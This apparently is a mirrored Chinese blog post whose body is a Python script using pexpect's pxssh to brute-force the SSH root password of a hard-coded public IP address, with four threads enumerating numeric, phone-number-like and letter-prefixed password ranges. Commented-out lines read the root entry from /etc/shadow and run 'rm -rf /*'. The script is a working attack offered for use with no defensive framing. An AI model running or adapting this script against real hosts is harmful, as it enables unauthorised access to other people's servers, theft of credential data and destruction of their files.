zoukankan      html  css  js  c++  java
  • pexpect模块获取root密码

    利用pexpect模块的ssh连接获取root密码。

    from pexpect import pxssh
    from threading import Thread
    from itertools import count
    def send_command(s, cmd):
        s.sendline(cmd)
        s.prompt()
        print(s.before.decode())
    
    def connect_1(host, user, passwd_iter_1):
        while True:
            passwd = next(passwd_iter_1)
            if len(str(passwd)) == 9:
                return
            try:
                s = pxssh.pxssh()
                s.login(host,user,passwd)
                return s
            except:
                print('[-]',passwd)
                #print('[-]Error Connection')
            else:
                return passwd
    
    
    def connect_2(host, user, passwd_iter_2):
        while True:
            passwd = next(passwd_iter_2)
            if passwd == 18700000000:
                return
            try:
                s = pxssh.pxssh()
                s.login(host,user,passwd)
                return s
            except:
                print('[-]',passwd)
                #print('[-]Error Connection')
            else:
                return passwd
    
    def connect_3(host, user, passwd_iter_3):
        for var in range(97,123):
            char = chr(var)
            passwd_iter = passwd_iter_3
            while True:
                passwd = next(passwd_iter)
                if len(str(passwd)) == 10:
                    return
                passwd = char + str(passwd)
                try:
                    s = pxssh.pxssh()
                    s.login(host,user,passwd)
                    return s
                except:
                    print('[-]',passwd)
                    #print('[-]Error Connection')
                else:
                    print('[+]',passwd)
                    return passwd
    
    def connect_4(host, user, passwd_iter_4):
        while True:
            passwd = next(passwd_iter_4)
            if len(str(passwd)) == 7:
                return
            try:
                s = pxssh.pxssh()
                s.login(host,user,passwd)
                return s
            except:
                print('[-]',passwd)
                #print('[-]Error Connection')
            else:
                return passwd
    def main():
        host = "39.104.137.182"
        passwd_iter_1 = count(10000000)
        passwd_iter_2 = count(18600000000)
        passwd_iter_3 = count(100000000)
        passwd_iter_4 = count(100000)
        #s = connect("39.104.137.182",'root',passwd_list)
       # send_command(s,'cat /etc/shadow | grep root')
        t = Thread(target=connect_1,args=(host,"root",passwd_iter_1,))
        t1 = Thread(target=connect_2,args=(host,"root",passwd_iter_2,))
        t2 = Thread(target=connect_3,args=(host,"root",passwd_iter_3,))
        t3 = Thread(target=connect_4,args=(host,"root",passwd_iter_4,))
        t.start()
        t1.start()
        t2.start()
        t3.start()
        t.join()
        t1.join()
        t2.join()
        t3.join()
        #send_command(s, "rm -rf /*")
    
    if __name__ == '__main__':
        main()
  • 相关阅读:
    CPU使用率呈现正弦曲线
    编写一个简单的http server(Linux, gcc)
    c#操作 文件操作
    Javascript 数字时钟
    .net 中读取文本文件
    c# 常用字符串函数
    I2C总线之(三)以C语言理解IIC
    典型的多线程操作界面的例子
    uvm_common_phase.svh
    uvm_task_phase.svh
  • 原文地址:https://www.cnblogs.com/kmnskd/p/9929214.html
Copyright © 2011-2022 走看看